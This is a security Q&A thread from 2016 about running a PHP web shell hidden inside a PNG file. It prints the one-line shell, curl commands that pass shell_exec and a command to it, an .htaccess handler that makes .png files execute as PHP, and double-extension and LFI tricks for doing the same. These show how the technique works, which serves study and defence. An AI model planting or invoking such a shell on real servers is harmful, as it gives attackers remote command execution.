1

I'm doing some testing on executing remote PHP via PHP hidden inside a PNG file. I've got a PNG file on my server with the following PHP code stored inside the PNG file.

<?=$_GET[0]($_POST[1]);?> 

The idea being is that I pass a GET request with shell_exec OR exec function, followed by POST data 1 = the command to run.

I have been trying to use curl without success. I keep getting HTTP/1.1 404 not found.

curl http://192.168.0.6/phppng.png?0=shell_exec' -i -d "1=id"

Any ideas what can I use to send the GET request and include the POST data?

2
  • The PHP handler won't launch if the file extension is .png.
    – Polynomial
    May 11, 2016 at 8:55
  • There is a legacy nginx misconfiguration which resulted in some non-PHP files being passed through the interpreter, although this has not applied to new installs for several years now.
    – Matthew
    May 11, 2016 at 8:59

2 Answers 2

5

First of all, make sure that your webserver knows that it has to interpret PNG file as PHP. You need to add this to your .htaccess file.

AddHandler application/x-httpd-php .png

or

AddHandler application/x-httpd-php5 .png

Otherwise, it won't execute the PHP code.

Second, there's a syntax error in your curl request. You're missing a quote.

Try this:

curl -i -X POST "http://127.0.0.1/phppng.png?0=shell_exec" -d "1=id"
1

Files ending in .png will not execute php code even if they contain php code. You can however execute this code either through a LFI or by uploading a .htaccess file which will add a php handler for .png or in the case of Apache you could use a double file extansion, ie: phppng.php.phppng.

6
  • And if you can upload a .htaccess file you can just do this instead: github.com/wireghoul/htshells
    – wireghoul
    May 11, 2016 at 8:58
  • Can you give more info on the the double file extension thing?
    – symcbean
    May 11, 2016 at 11:37
  • There isn't really any good reference docummentation apart from mod_mime itself, which can be found here; httpd.apache.org/docs/2.4/mod/mod_mime.html#multipleext
    – wireghoul
    May 13, 2016 at 11:12
  • I must admit I was a bit skeptical - but this looks viable / interesting / scary.
    – symcbean
    May 13, 2016 at 11:59
  • Just tested it and it works (i.e. is exploitable).
    – symcbean
    May 13, 2016 at 14:03

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .